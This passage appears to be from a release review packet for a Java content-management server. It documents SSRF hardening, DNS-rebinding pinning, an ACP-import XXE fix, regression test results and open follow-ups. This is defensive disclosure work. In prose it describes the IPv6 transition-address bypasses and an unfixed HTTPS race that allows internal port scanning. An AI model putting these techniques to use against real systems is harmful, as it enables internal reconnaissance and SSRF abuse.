Notable framing decisions

One main file changed + JVM-args wiring. Reviewers can scope to AdapterHttpClient.java (the static initializer + the Host-header explicit set in pinRequestToValidatedAddress
- the rewritten Javadoc) and verify the JVM property is set in tests (core/pom.xml argLine) and production (all 3 Dockerfile variants).
JVM-wide effect explicit and bounded. Enabling jdk.httpclient.allowRestrictedHeaders=host means any code in the JVM that uses HttpRequest.Builder.header("Host", ...) now succeeds. The only such call site in the codebase is pinRequestToValidatedAddress; we grepped to confirm no other Java source touches the Host header via the JDK HttpClient API.
HTTPS residual TCP-connect SSRF is NOT addressed in this RC. Closing it requires either a custom SocketFactory or a switch to HttpURLConnection (same pattern as HttpWebhookDispatcher uses for HTTP). Tracked in §6 as Medium residual risk. The current RC's scope is the P3 doc
- compat fix only.
§3 cut-new-tag rule honoured. AdapterHttpClient.java + core/pom.xml + docker/core/Dockerfile* are post-tag source-tree changes. Per §3 rules, a new RC tag is required. RC6.9 cut against the release-package commit.

2.7 — RC6.8 carry-forward (still in effect, see RELEASE_NOTES.md "3.1.1-RC6.8")

RC6.8 closed 3 deeper SSRF gaps in AdapterHttpClient — the P1 / P2 / P3 detailed below remain in effect; this RC only adds the Host header preservation and Javadoc honesty on top.

2.8 — RC6.7 carry-forward (historical reference)

RC6.7 horizontally extended the RC6.5+RC6.6 SSRF guard from HttpWebhookDispatcher into AdapterHttpClient.validateExternalUrl (the shared outbound HTTP validator used by all 11 connector adapters + ConnectorDefinitionServiceImpl + IngestWebhookController). It also flipped the SHARED HttpClient's auto-follow-redirect from NORMAL to NEVER and resolved relative Location headers against the original request URI before revalidating in sendWithRedirectValidation. For RC6.7's full detail see RELEASE_NOTES.md "3.1.1-RC6.7".

2.9 — RC6.8 P1: DNS rebinding pin (carry-forward detail)

A deeper adversarial pass found that the RC6.7 fix still left AdapterHttpClient vulnerable to DNS rebinding: validateExternalUrl resolved + validated the host once at config time, but sendWithRetry then handed the original HttpRequest to HttpClient.send, which performs its OWN DNS lookup. An attacker controlling the configured hostname's DNS could return a public IP at validation and a private / loopback / metadata IP at connection time.

Fix: new pinRequestToValidatedAddress(request) called inside both sendWithRetry and sendWithRedirectValidation:

HTTP path — DNS rebinding closed at the network layer. Re-resolves at send time, validates every resolved address against isAddressSafe, then rewrites the URI to use the validated IP literal (bracketed for IPv6). The JDK HttpClient connects to the pinned IP. No TCP connection to a rebound IP is possible after the send-time validation succeeds.

Known compatibility risk (P3 reviewer finding): the JDK HttpClient.Builder.header(...) restricts the Host header by default (only overridable via the JVM startup property -Djdk.httpclient.allowRestrictedHeaders=host, which we do NOT set). After URI rewrite, the JDK sends Host: <IP> rather than Host: <original-hostname>. For connector adapters that target a single dedicated server (Mattermost / Salesforce on-prem on its own IP, Slack/Teams/Notion/etc. on their public DNS) this works. For name-based virtual-host deployments (e.g. a reverse proxy serving several Mattermost instances under different hostnames on the same IP), the rewritten request will reach the proxy but the proxy may 404 or route to the wrong vhost because no vhost matches the IP. Setting the connector endpoint to the IP directly does NOT fix this — the vhost match requires the hostname in the Host header.

Operators hitting this need either:
- JVM startup flag -Djdk.httpclient.allowRestrictedHeaders=host AND a code path that preserves the original Host (future enhancement, not in RC6.8); or
- A migration to HttpURLConnection-based dispatch (same pattern as HttpWebhookDispatcher).
The trade-off was accepted for RC6.8 because (a) the JDK property is a JVM-wide change that operators may not want to flip, and (b) most connector deployments don't use name-based vhosts for the API endpoint.
HTTPS path — TLS-bounded, NOT fully closed (P2 reviewer finding). Returns the request unchanged. The send-time re-validation (via InetAddress.getAllByName) catches rebound IPs if the rebound resolve happens before the JDK's internal HttpClient.send resolve. There is a residual race window between our InetAddress.getAllByName call inside pinRequestToValidatedAddress and the JDK's own resolve inside HttpClient.send. If a DNS attacker rebinds within that microsecond window:
- TCP connection to the internal IP does succeed (TCP handshake completes before TLS).
- TLS handshake then fails because the internal server's certificate doesn't match the declared hostname → no application-layer data exchange, no SSRF data read/write.
So HTTPS is closed against the data-exchange class of SSRF (no body read, no token leak, no internal API call succeeds), but NOT against the TCP-connect / port-scan / service-fingerprint class. An attacker could still:
- Detect open ports on internal hosts (TCP connect succeeds even when TLS fails).
- Measure TLS handshake timing to fingerprint internal services.
- Trigger any side effects internal services have on inbound-TCP / inbound-TLS-handshake events.
Closing the HTTPS path fully requires a custom SocketFactory that pins the resolved IP at TCP-connect time while keeping SNI / hostname verification on the original hostname. This is documented as a real follow-up in §6 (raised from "Low defence-in-depth" to "Medium residual risk" by the P2 finding).
Unresolvable host throws SecurityException (behaviour change from "let HttpClient try and fail with network error" to "fail fast with security flavour").

2.10 — RC6.8 P2: runtime endpoint revalidation (carry-forward detail)

ConnectorDefinitionServiceImpl validates endpoints on save, but MattermostFetchOrchestrator (line 42) and SalesforceFetchOrchestrator (line 45) passed connector.getEndpoint() directly to the adapter without runtime revalidation. Endpoints saved before RC6.7 hardening landed, or modified at storage level (e.g. CouchDB direct edit), would reach the adapter without revalidation.

Fix: added explicit AdapterHttpClient.validateExternalUrl(connector.getEndpoint()) at both orchestrator entry points. Defence-in-depth — P1 above closes the actual gap by re-validating at send time, but the orchestrator-level check fails earlier with a clearer audit message and avoids constructing the adapter for an obviously-bad endpoint.

2.11 — RC6.8 P3: multi-hop relative redirect resolve correctness (carry-forward detail)

sendWithRedirectValidation called request.uri().resolve( location) on every loop iteration but request was never updated. A second relative Location (e.g. /file returned from a redirect that itself jumped to a different host) resolved against the original URL, not the current target.

Fix: track currentRequest through the loop and use currentRequest.uri().resolve(location). Correctness fix; not exploitable as SSRF in isolation (the wrongly-resolved URL is also the one we send), but matters for multi-host redirect chains where the intermediate host's relative paths should resolve against that host's authority.

Tests

5 new regression tests in AdapterRegistryTest:
- HTTP IPv4 URI rewrite (path + query preserved).
- HTTPS URI unchanged.
- SecurityException on rebound loopback (127.0.0.1 literal via re-resolve).
- SecurityException on rebound IPv6 transition (NAT64-wrapped metadata).
- Non-restricted header preservation on HTTP pin (Authorization
  - X-Custom-* carry over).
Test infrastructure: NotionConnectorAdapterTest, SalesforceConnectorAdapterTest, MattermostConnectorAdapterTest now set nemaki.ingest.allowLocalhost=true in @BeforeEach and clear in @AfterEach. The P1 fix means sendWithRetry validates every request including the WireMock localhost endpoints these tests use; without the opt-in, those 22 tests fail.
HttpWebhookDispatcherTest + AdapterRegistryTest: 83 PASS (59 webhook + 24 adapter-registry).
7 connector adapter contract tests (Slack 12 / Teams 11 / Mattermost 12 / Notion 8 / Salesforce 11 / M365 Mail 9 / Chatwork 13): 76 PASS.
Full 16-class focused regression: 265/265 PASS (was 260 in RC6.7; +5 from new pinRequest tests).

Out-of-scope hardening (intentional, carry-forward)

Purview / Atlas / OIDC discovery / Microsoft Graph download remain on their existing validation (RC6.7 carry-forward).

Notable framing decisions

Three files changed in main + 1 test file. All RC6.8 Java surface change is in AdapterHttpClient.java + the two orchestrator entry points. Reviewers can scope to those plus the 5 new AdapterRegistryTest cases.
HTTP Host header trade-off. The IP-pin rewrite means the Host header sent to the server is the IP literal (JDK default). For most connector APIs this is fine (they ignore Host or respond to any). For shared-vhost servers it may misroute. Documented in the dispatcher Javadoc and §6 follow-up table. A future hardening could enable the JDK restricted-headers JVM property + an overload that preserves the original Host header.
P1 subsumes P2's threat. P1's send-time revalidation means every request goes through fresh validation; an endpoint that bypassed save-time validation still fails at send. P2's orchestrator-level check is fail-fast UX, not the security primitive.
§3 cut-new-tag rule honoured. The AdapterHttpClient.java change is a post-v3.1.1-RC6.7-tag Java source change. Per §3 rules, a new RC tag is required. RC6.8 cut against the release-package commit.

2.12 — Carry-forward from RC6.5 + RC6.6 + RC6.7 (still in effect)

For reviewers who skipped earlier rounds, the equivalent HttpWebhookDispatcher fix shipped in RC6.5 + RC6.6 is unchanged in this RC:

RC6.5: closed the externally-reported GHSA from tonghuaroot — HttpWebhookDispatcher unwraps IPv6 transition addresses (NAT64 64:ff9b::/96, 6to4 2002::/16, IPv4-compatible ::a.b.c.d, IPv4-mapped ::ffff:0:0/96) and re-classifies the embedded IPv4. PoC showed 5 transition forms bypassing the existing guard; with the fix all 5 are blocked. Also: 3 rounds of external review closure on docs/MANUAL-VERIFICATION-CONNECTORS.md.
RC6.6: added 5 IPv4 special-use ranges (0/8, 100.64/10, 192.0.0/24, 198.18/15, 240/4 + 255.255.255.255), proper RFC 6052 §2.2 /48 layout for 64:ff9b:1::/48 (with /96-PLR fallback), and Teredo 2001::/32 unwrap. 7 new tests added at RC6.6 (59 total for HttpWebhookDispatcherTest).
RC6.7 (this RC): horizontally extends the same closure to AdapterHttpClient (the connector-side equivalent), plus redirect handling tightening and the NUL test cleanup. The RC6.5+RC6.6 fix to HttpWebhookDispatcher is byte-equal in this RC.

Residual note (carry-forward from RC6.5+RC6.6, unchanged): HTTPS dispatch in HttpWebhookDispatcher still uses the original hostname URL to leverage TLS certificate validation against the declared hostname. The same approach is used in AdapterHttpClient for HTTPS adapter API calls. DNS rebinding is mitigated by TLS cert verification. A future hardening could pin HTTPS to the resolved IP via a custom SocketFactory while keeping SNI / hostname verification on the original hostname; not required for RC6.7's scope.

3. What's on the branch HEAD but NOT in the tag

The tag (v3.1.1-RC6.13) and the branch HEAD (release/3.1.1-RC6) MAY diverge during the external review window. As of tag time the divergence is zero — both point at the same commit.

When divergence happens, only the following files / paths are allowed to differ — and only at the indicated rigour level:

Path	Allowed post-tag changes
`REVIEW_PACKET.md`	Any (this is the review correspondence file by design)
`RELEASE_NOTES.md`	Doc-only — narrative additions, typo fixes, framing alignment
`CLAUDE.md`	Doc-only
`docs/design/connector-delegation.md`	Doc-only — review-time clarifications
`docs/SOC-AUDIT-INTEGRATION.md`	Doc-only — playbook clarifications, sample-query syntax corrections (which are themselves doc-only since the file IS the doc)
`docs/soc-templates/README.md`	Doc-only
`docs/soc-templates/.yml` / `.conf` / `.toml` / `.ndjson` (shipper + alert rule body files)	Comment-only — see rules below

Any other path diverging is a bug — please flag it.

What "comment-only" means for the shipper / rule files

"Comment-only" does NOT mean small edits. Multi-paragraph explanation blocks, full-section comment rewrites, header clarifications, even adding a 50-line block-comment with an ASCII-art TZ diagram — all of those are allowed. The rule constrains effect, not size.

A change is comment-only IFF every diff line is either:

A comment line (starts with the language's comment marker — # for YAML/conf/toml/ini, -- for Lua block context inside a config string), OR
Whitespace / blank line additions or removals, OR
A rename / restructure of an existing comment block.

Exception: docs/soc-templates/*.ndjson has no comment-only mode at all. The NDJSON files are imported as JSON Lines — the JSON grammar has no comment syntax, and adding any non-JSON line breaks the import. Comment-only post-tag edits to .ndjson files are therefore impossible: any change to a line is a content change, which falls under the "NOT comment-only, requires new RC tag" rule below regardless of whether it touches the value, the query body, or the description string. If you want to add an explanation about an NDJSON rule, put the prose in docs/soc-templates/README.md and leave the .ndjson body alone until the next RC tag.

A change is NOT comment-only and REQUIRES a new RC tag if it edits any of these — even by one character:

A knob value (Refresh_Interval 5 → Refresh_Interval 10, max_lines: 1000 → 2000)
A ${VAR:default} placeholder default value
A threshold ("value":20 → "value":35, details.lostCount > 50 → > 80)
A query / search-string body (KQL / EQL / SPL / LogQL / jq filter)
A processor / filter / output sink ([OUTPUT], [FILTER], processors: -, VRL .field = …, Lua function …)
A path / glob (paths: - …, Path …, include = [...])
A label / tag / metric name that the SIEM indexes
A rule-evaluation parameter (cron, interval, threshold field, rule_type, language, EQL by …, new_terms field list)

If in doubt, treat it as not-comment-only and cut a new RC tag. Boundary cases that look like "just a config tweak" have already burned four review rounds (RC6.1 P2-3 NUL byte, RC6.2 Filebeat env / Fluent Bit TZ / Vector VRL, RC6.3 Fluent Bit DST, RC6.4 Vector comment-interpolation / VRL ?? / buffer min / LogQL offset / Fluent Bit Code | heredoc). Spending review time arguing the boundary is more expensive than spending five minutes cutting v3.1.1-RC6.6 (or higher). RC6.4 added the validator gate so future RCs catch the bug class before tag — but the §3 cut-new-tag rule still applies for any post-tag content-class change.

New file additions — also require a new RC tag

The §3 table enumerates exactly the paths whose post-tag edits are allowed today. Adding a new file under any of these paths (or anywhere else under the repo) is NOT a permitted post-tag change, even if the new file is "obviously docs" or "obviously a SOC template". The reasoning:

A new template / dashboard / rule file ships to GA via the branch HEAD merge to master; reviewers looking at the tag don't see it. Same tag/branch mismatch class the §3 rule exists to prevent.
A new README or design-doc page is genuinely additive but changes what the reviewer is supposed to read. Surface it in the next RC tag so the review packet stays complete.

So: any new file under release/3.1.1-RC6 post-tag → cut a new RC tag. The table is a permission, not a wildcard.

Rationale recap

This rule set is the response to the RC6.2 review's P1-B finding (the "clarifying additions only" qualifier was too vague — "config-body fix" silently masqueraded as "clarification"). Going forward: if a SOC template has a bug, fix it on the branch and cut a new RC tag before the next review send; don't ship the fix as a post-tag commit and call it a clarification.

External reviewers focused only on the code artifact should check out the tag and ignore later branch commits. The SOC templates AND playbook are part of the tag artifact now.

4. What's in the v3.1.1-RC6.13 tag (cumulative since RC4.1)

RC5 cycle (RC5 → RC5.6) + RC6 + RC6.1 + RC6.2 + RC6.3 + RC6.4 + RC6.5 + RC6.6 + RC6.7 + RC6.8 + RC6.9 + RC6.10 + RC6.11 + RC6.12 + RC6.13:

RC6.3 5-finding closure — Filebeat env syntax, Fluent Bit DST, Vector VRL, REVIEW_PACKET tone alignment, plus the tag-cut that brings the SOC template body-fixes into the audited artifact
RC6.4 SOC validation gate + Playwright baseline diff — scripts/validate-soc-templates.sh runs 4 vendor CLIs at every push (caught 5 real template bugs at bring-up); full Playwright chromium ×2 (RC5.6 vs RC6 HEAD) proves 0 RC6 regressions + 6 net new green from new RC6 functionality
RC6.5 SSRF hardening + manual-verification doc closure — HttpWebhookDispatcher now unwraps IPv6 transition addresses (NAT64 / 6to4 / IPv4-compatible) and recursively re-classifies the embedded IPv4, closing a GHSA-reported bypass; 15 regression tests added (52/52 PASS). docs/MANUAL-VERIFICATION-CONNECTORS.md closed against 3 rounds of external review (15 + 9 = 24 findings).
RC6.6 SSRF hardening follow-on — isAddressSafe adds 5 IANA special-use IPv4 ranges (0/8 beyond literal 0.0.0.0, 100.64/10 CGNAT, 192.0.0/24 IETF protocol assignments, 198.18/15 benchmarking, 240/4 reserved + broadcast). extractEmbeddedIpv4 adds proper RFC 6052 §2.2 /48 layout for 64:ff9b:1::/48 and Teredo 2001::/32 unwrap (one's complement of bytes 12-15). +7 regression tests (59/59 PASS).
RC6.7 SSRF horizontal expansion — same isAddressSafe + extractEmbeddedIpv4 design pattern moved into AdapterHttpClient.validateExternalUrl (the shared outbound HTTP validator used by all 11 connector adapters + ConnectorDefinitionServiceImpl + IngestWebhookController). SHARED HttpClient redirect setting NORMAL → NEVER, relative Location resolution against original URI. +3 new AdapterRegistryTest tests (260/260 PASS for full focused regression). Also: literal NUL in HttpWebhookDispatcherTest replaced with \0 escape (binary → text classification).
RC6.8 SSRF deeper closure — sendWithRetry and sendWithRedirectValidation now call pinRequestToValidatedAddress(request) before send. HTTP rewrites URI to the validated IP literal (DNS rebinding fully closed at the network layer); HTTPS re-validates at send time but does NOT IP-pin — TLS cert verification stops application-layer data exchange on a rebound IP, BUT a TCP connect to the rebound IP still succeeds within a microsecond race window (residual TCP-connect SSRF — see §6). Mattermost
- Salesforce orchestrators add explicit validateExternalUrl defence-in-depth. Multi-hop relative redirect resolve uses currentRequest.uri() instead of request.uri(). +5 new AdapterRegistryTest tests (265/265 PASS for full focused regression). Compat caveat (closed in RC6.9): HTTP IP-pin sent Host: <IP>; RC6.9 preserves original Host via JDK escape-hatch property.
RC6.9 HTTP Host header preservation + Javadoc honesty — pinRequestToValidatedAddress HTTP branch now sets Host: <original-hostname[:port]> after URI rewrite. JDK startup property -Djdk.httpclient.allowRestrictedHeaders=host added to all 3 Dockerfile variants + pom.xml surefire argLine
- static initializer fallback + all 3 docker-compose CATALINA_OPTS overrides (post-RC6.9 commit 84fdfca80, rolled into the RC6.10 tag because compose environment: masks the Dockerfile ENV CATALINA_OPTS at container-start). Javadoc aligned with the post-RC6.8 honest wording (HTTP closed at network layer; HTTPS TLS-bounded with TCP-connect SSRF residual). +2 AdapterRegistryTest tests (343/343 PASS for full focused regression including all 7 adapter contract test classes).
RC6.10 SsrfGuard refactor + source-tree NUL pre-commit scan — new jp.aegif.nemaki.security.SsrfGuard utility (Rule-of- Three threshold: 240+ LOC duplicated between HttpWebhookDispatcher and AdapterHttpClient since RC6.7). Both call sites delegate; byte-equivalent classification. +30 cases in new SsrfGuardTest. Source-tree NUL byte scan added to scripts/validate-soc-templates.sh Phase 1.4.1 (1680 source files / 0 hits). R3 follow-up (other-orchestrator audit) closed documentation-only after verifying only Mattermost / Salesforce ever pass connector.getEndpoint() to HTTP — both already RC6.8-protected. 373/373 PASS for full focused regression (24 classes; was 343 in RC6.9; +30 from SsrfGuardTest).
RC6.11 ACP import XXE fix (CWE-611, GHSA, reporter tonghuaroot) — 3-setFeature hardening on the dom4j SAXReader used by ZipImporter.importAcpFormat(...) (disallow-doctype-decl + external-general-entities=false + external-parameter-entities=false), mirroring the existing TypeResource.parse(...) pattern. Closes a read-capable XXE / SSRF reachable by any authenticated user with cmis:write on a single folder. Repo-wide audit confirms no other unhardened XML-parser sinks (TypeResource / AuthTokenResource / SolrResource / SolrAllResource / SamlSignatureVerifier all already hardened). +4 JVM-level cases in new ZipImporterXxeTest (DOCTYPE + file://, DOCTYPE + external DTD, benign-allowed, feature- readback). Live PoC reproduced on RC6.10 stack, then verified rejected post-fix; test artifacts swept. 377/377 PASS for full focused regression (25 classes; was 373 in RC6.10; +4 from ZipImporterXxeTest).
RC6.12 test-quality follow-up — extracts ZipImporter.parseAcpPackageXml(byte[]) as a package-private static helper, rewrites ZipImporterXxeTest to call it directly (closes RC6.11 review P2: previously the test had its own duplicated SAXReader configuration that wouldn't have caught a deletion of the production guards). Mutation-test verified: commenting out disallow-doctype-decl in the production helper causes 2/4 cases to fail. NUL scan file count corrected from "1683" (RC6.11 doc arithmetic error) to 1681 (validator's actual output; closes RC6.11 review P3). Production path is byte-equivalent to RC6.11; 377/377 PASS for the same 25-class focused regression.
RC6.13 test-quality follow-up to RC6.12 P3 — splits parseAcpPackageXml(byte[]) into a new configureHardenedSaxReader() builder + the existing parse method. productionParserHasAllThreeFeaturesEnabled rewritten to hold the production-configured reader directly; readback assertions now bind to production. 3-way mutation test verified that removing any of the three setFeature lines in isolation fails the matching feature assertion (closes RC6.12 review P3). Production path byte-equivalent; 377/377 PASS for the same 25-class regression.

5. Acceptance status summary (RC6.13)

Blocking findings

Java unit tests — verified at HEAD this session

ZipImporterXxeTest: 4/4 PASS — case 4 now binds to ZipImporter.configureHardenedSaxReader() directly. 3-way mutation test verified: each of the three production setFeature lines, removed in isolation, fails the matching readback assertion with a diagnostic naming that feature (see §2.A for the table).
SsrfGuardTest (RC6.10 carry-forward): 30/30 PASS — direct classification coverage on the extracted helper.
HttpWebhookDispatcherTest: 59/59 PASS — behaviour unchanged through the SsrfGuard delegation; one test updated to call SsrfGuard.extractEmbeddedIpv4 directly (public static) instead of reflecting on the now-removed private dispatcher method.
AdapterRegistryTest: 26/26 PASS — RC6.9 Host-preserve tests still pass through the delegated classifier.
7 connector adapter contract tests (Slack 12 / Teams 11 / Mattermost 12 / Notion 8 / Salesforce 11 / M365 Mail 9 / Chatwork 13): 76 PASS — confirms the SsrfGuard delegation does NOT change legitimate adapter API call patterns.

Full 25-class focused regression (24 from RC6.10 + new ZipImporterXxeTest): 377/377 PASS — same count and classes as RC6.11 / RC6.12; the RC6.13 refactor is byte-equivalent on the production path. Re-run command:

Playwright E2E — verified at HEAD this session

6 RC5/RC6-area specs (smoke) — last executed: at RC6.2 closure window, against the deployed WAR built from fd03d4ab4. Result: 66/66 PASS across 2 consecutive runs (no flake). No Java / TS / spec body delta since; carry-forward.
Full chromium suite — re-run for RC6.4 against both RC5.6 and RC6 HEAD (= 1ba21bc59, == RC6.3 server behaviour
- RC6.4 docs only). Results:
- RC5.6 build: 673 passed / 162 failed / 2 flaky / 195 skipped in 4622 s.
- RC6 HEAD build: 679 passed / 156 failed / 2 flaky / 195 skipped in 4538 s.
- Diff: +6 pass / −6 fail / 2 flaky unchanged / 195 skipped unchanged.
- Per-test classification (see §10.2 for spec lists): 0 RC6 regressions, 6 improved (new RC6 endpoints), 155 persistent fail (= pre-existing backlog, unchanged across the entire RC5→RC6 cycle), 672 persistent pass, 1 flaky candidate.

Live verification

XXE + SSRF fix regression tests — run live this session:
- ZipImporterXxeTest → 4/4 PASS. Case 4 now holds the actual production-configured reader via ZipImporter.configureHardenedSaxReader().
- 3-way mutation test — each of the three production setFeature lines (disallow-doctype-decl, external-general-entities, external-parameter-entities) commented out in isolation, in sequence. Disallow-doctype removal makes 3/4 cases fail (2 DOCTYPE-reject + readback); each external-*-entities removal makes 1/4 fail (readback alone), with a diagnostic naming the specific feature. All mutations were local source-edits + reverts; nothing committed. Full table in §2.A.
- SsrfGuardTest → 30/30 PASS (RC6.10 carry-forward).
- HttpWebhookDispatcherTest → 59/59 PASS.
- AdapterRegistryTest → 26/26 PASS.
- 7 adapter contract tests (Slack/Teams/Mattermost/Notion/ Salesforce/M365/Chatwork): 76 PASS.
- Full 25-class focused regression: 377/377 PASS — behaviour-equivalent to RC6.11/RC6.12.
Live PoC + post-fix verification (RC6.11) — RC6.10 stack was used to reproduce the reporter's exact /etc/passwd PoC with a non-admin bob user (cmis:write on one folder); confirmed leaked file content as folder name in CouchDB. After redeploying the RC6.11 WAR, the same upload returned the documented "DOCTYPE is disallowed" error with foldersCreated: 0, status: partial. RC6.12 and RC6.13 production paths are byte-equivalent so the PoC outcome is unchanged across all three RCs. All test artifacts swept from bedroom + bedroom_closet.
Live SSRF guard smoke against deployed RC6.7 stack (TODO after WAR deploy): 10 vectors via POST /webhook/test (NAT64 well-known + local-use, 6to4, Teredo, IPv4-compatible, plus 100.64 / 240 / 198.18 / 127.0.0.1 / 169.254 baselines) all expected blocked; https://httpbin.org/post positive control expected HTTP 200. Will be re-confirmed after deploy.
Manual-verification §2 → §11 paths (RC6.5 carry-forward) — unchanged in RC6.7. No doc body change.
SOC validator (RC6.4 carry-forward) — VALIDATE_DOCKER=1 scripts/validate-soc-templates.sh → PASS 20 / SKIP 3 / FAIL 0 / total 23, unchanged from RC6.4 (no template / script change).
Playwright full chromium baseline diff (RC6.4 carry-forward) — RC5.6 vs RC6 HEAD = 0 regressions, see §10 (RC6.4 entry).
B3-2, M2, M3 smokes — carry-forward valid as of RC6.2.

Full-suite evidence boundary (carry-forward from RC6.4)

The full 1032-test Playwright suite ran against both v3.1.1-RC5.6 and release/3.1.1-RC6 HEAD in RC6.4. Diff: 0 regressions, 6 improvements, 155 persistent failures. RC6.5 touches one Java file (HttpWebhookDispatcher.java) + one test class; neither has a Playwright spec, so the RC6.4 baseline-diff conclusion carries forward unchanged.

What remains operator-side (unchanged from RC6.4):

Kibana NDJSON + Splunk savedsearches CLI validation (no offline parser exists for either; live cluster import only).
Vector / Fluent Bit / Filebeat / Loki Ruler pre-deploy smoke against the actual SIEM endpoint — the validator uses synthetic env values, so DNS / TLS / auth against the real SIEM is operator's pre-deploy gate.

API contract

Additive only across RC5 → RC6.8. RC6.8 strengthens internal SSRF validation in AdapterHttpClient.sendWithRetry and sendWithRedirectValidation (pre-send re-resolve + IP pin for HTTP, re-resolve + revalidate for HTTPS). Internal validation paths that do NOT change the public-facing dispatch / response contract or any request / response shape.

Two behavioural changes:

sendWithRetry now throws SecurityException when the host cannot be resolved at send time (previously the JDK would attempt connect and throw IOException). Caller-visible exception class change; functionally still "request failed".
HTTP requests have their URI host rewritten to the validated IP literal. The remote server sees Host: <IP> instead of Host: <hostname>. Confirmed by 7/7 adapter contract tests that all adapters work under this (the JDK-default restricted-headers behaviour prevents overriding Host back to the original hostname; documented as accepted trade-off).

Patch / view / Mango / migration / DB bootstrap

Unchanged since RC4.1.

6. Remaining follow-ups (post-RC6.13, not blocking review)

(No open repo-shippable items beyond the Medium residual SSRF risk and explicitly-deferred admin-config-surface guard. Both require larger engineering than a test-quality follow-up RC.)

ID	Severity	Scope	Status
R1 (deployment-side)	Low (ops)	operator infrastructure	4 inherently per-deployment items: network path / TLS, SIEM credentials from secrets manager, notification routing, threshold tuning from environment baseline. Not repo-shippable.
HTTPS DNS pinning via SocketFactory	Medium (residual SSRF, RC6.8 P2 reviewer)	webhook + connector dispatchers HTTPS path	RC6.8 P1 closes the HTTPS data-exchange SSRF class for both `HttpWebhookDispatcher` and `AdapterHttpClient` (re-validate at send time + TLS cert verification stops application-layer data on a rebound IP). The HTTPS TCP-connect SSRF class is NOT closed: there is a microsecond race window between our `InetAddress.getAllByName` re-validate and the JDK's own resolve in `HttpClient.send` — a rebind inside that window lets the TCP connect succeed (TLS handshake then fails). Attacker can still port-scan / fingerprint / trigger TCP-side-effects on internal services. Real fix: custom `SocketFactory` that pins the validated IP at TCP-connect time while keeping SNI/hostname-verification on the original hostname.
~~HTTP `Host` header preservation under IP pin~~	CLOSED in RC6.9	AdapterHttpClient HTTP path	RC6.9 enables `-Djdk.httpclient.allowRestrictedHeaders=host` (all 3 Dockerfile variants + pom.xml argLine + static init fallback) and sets `Host: <original-hostname[:port]>` after URI rewrite in `pinRequestToValidatedAddress`. Shared-vhost HTTP deployments now route correctly.
~~`isAddressSafe` + `extractEmbeddedIpv4` shared utility~~	CLOSED in RC6.10	webhook + adapter dispatchers	New `jp.aegif.nemaki.security.SsrfGuard` utility class. Both `HttpWebhookDispatcher` and `AdapterHttpClient` delegate. Byte-equivalent classification. A future 3rd consumer (Purview / Atlas guard) calls the helper directly rather than re-implementing.
~~Other connector orchestrator endpoint pre-checks~~	CLOSED in RC6.10 (documentation-only)	Slack/Teams/Notion/Chatwork/M365 etc. orchestrators	Audit complete: only Mattermost + Salesforce orchestrators ever pass `connector.getEndpoint()` to HTTP and both are RC6.8-protected with explicit `validateExternalUrl` at orchestrator entry. The other 8 use hardcoded vendor API URLs and never accept user-controlled endpoint values. Plus `AdapterHttpClient.pinRequestToValidatedAddress` enforces send-time re-validation on every request regardless of caller path. No code change needed.
Purview / Atlas / OIDC discovery / Graph download SSRF guard	Low (admin-config surface)	external integration outbound HTTP	These surfaces are NOT under the AdapterHttpClient guard; they have admin-configured IdP / on-prem endpoint use cases. Applying the same blocklist unconditionally would break legitimate internal integrations. Future opt-in "production-mode" property or explicit allowlist — when implemented, calls `SsrfGuard.isAddressSafe` directly (Rule-of-Three threshold already crossed, helper is ready).
Kibana NDJSON CLI validation	Low	template QA	No offline parser exists for Detection Engine NDJSON; validation requires importing into a live Elastic 8 cluster. Operator pre-deploy gate.
Splunk savedsearches CLI validation	Low	template QA	No offline parser; `splunk btool` requires a Splunk install. Operator pre-deploy gate.
Full Playwright green-up of the 155 pre-existing failures	Medium	UI corpus	RC6.4 proved they are pre-existing (RC5.6 vs RC6 HEAD diff). The triage backlog lives under memory `test-skip-triage`. Separate engineering project.
~~Repo-wide NUL byte pre-commit scan~~	CLOSED in RC6.10	tooling	`scripts/validate-soc-templates.sh` Phase 1.4.1 scans `.java`/`.ts`/`.tsx`/`.js`/`.jsx` for literal `\x00` (1680 files / 0 hits at HEAD). Operators / CI run this before tag-cut; future Slack/Teams/git-hook integration is a separate cosmetic improvement.

Resolved in RC6.13 (newly closed):

RC6.12 review P3 (feature-readback was inspecting a test-local probe, not the production-configured reader) — split parseAcpPackageXml(byte[]) into a new configureHardenedSaxReader() builder + the existing parser; productionParserHasAllThreeFeaturesEnabled rewritten to query the builder's returned reader. 3-way mutation test verified each setFeature line individually.

Resolved in RC6.12 (carry-forward, still closed):

RC6.11 review P2 (regression test was not exercising the production parser) — ZipImporter.parseAcpPackageXml(byte[]) extracted as a package-private static helper; ZipImporterXxeTest now calls it directly. Mutation-test verified: removing the production disallow-doctype-decl line causes 2/4 cases to fail.
RC6.11 review P3 (NUL scan file count was off-by-2 in the release notes) — corrected from "1683" to 1681 (validator's actual output) across RELEASE_NOTES, CLAUDE, REVIEW_PACKET.

Resolved in RC6.11 (carry-forward, still closed):

GHSA XXE on ACP import (CWE-611, reporter tonghuaroot) — 3-setFeature hardening on the dom4j SAXReader in ZipImporter.importAcpFormat(...), mirroring the existing TypeResource.parse(...) pattern. Closes a read-capable XXE / SSRF reachable by an authenticated non-admin user with cmis:write on one folder. (RC6.12 moved the configuration block into parseAcpPackageXml(...) but the production-path behaviour is byte-equivalent to RC6.11.)
Repo-wide XML parser sink audit — confirmed all other sinks (TypeResource, AuthTokenResource, SolrResource, SolrAllResource, SamlSignatureVerifier) are already hardened. No further code change needed.

Resolved in RC6.10 (carry-forward, still closed):

SsrfGuard shared utility — extracted from the duplicated HttpWebhookDispatcher + AdapterHttpClient copies. Byte-equivalent classification, 30-case dedicated test (SsrfGuardTest).
Source-tree NUL byte pre-commit scan — new scripts/validate-soc-templates.sh Phase 1.4.1.
R3 follow-up (other orchestrator audit) — documentation-only closure after auditing all 11 connector adapters.

Resolved in RC6.9 (carry-forward, still closed):

HTTP IP-pin shared-vhost compat caveat (RC6.8 post-tag P3) — Host: <original-hostname[:port]> preserved via JDK escape hatch property.
AdapterHttpClient.pinRequestToValidatedAddress Javadoc honesty alignment with the post-RC6.8 doc fix (HTTPS residual TCP-connect SSRF stated explicitly in the source).

Resolved in RC6.8 (carry-forward, still closed):

AdapterHttpClient DNS rebinding gap (P1) — pinRequestToValidatedAddress re-resolves + revalidates at send time, HTTP rewrites URI to pinned IP literal, HTTPS relies on TLS cert verification.
Mattermost + Salesforce orchestrator endpoint runtime revalidation (P2) — defence-in-depth (P1 closes the SSRF gap; this layer gives earlier failure with clearer audit).
Multi-hop relative redirect resolve correctness (P3) — currentRequest.uri().resolve(location) instead of original.

Resolved in RC6.7 (carry-forward, still closed):

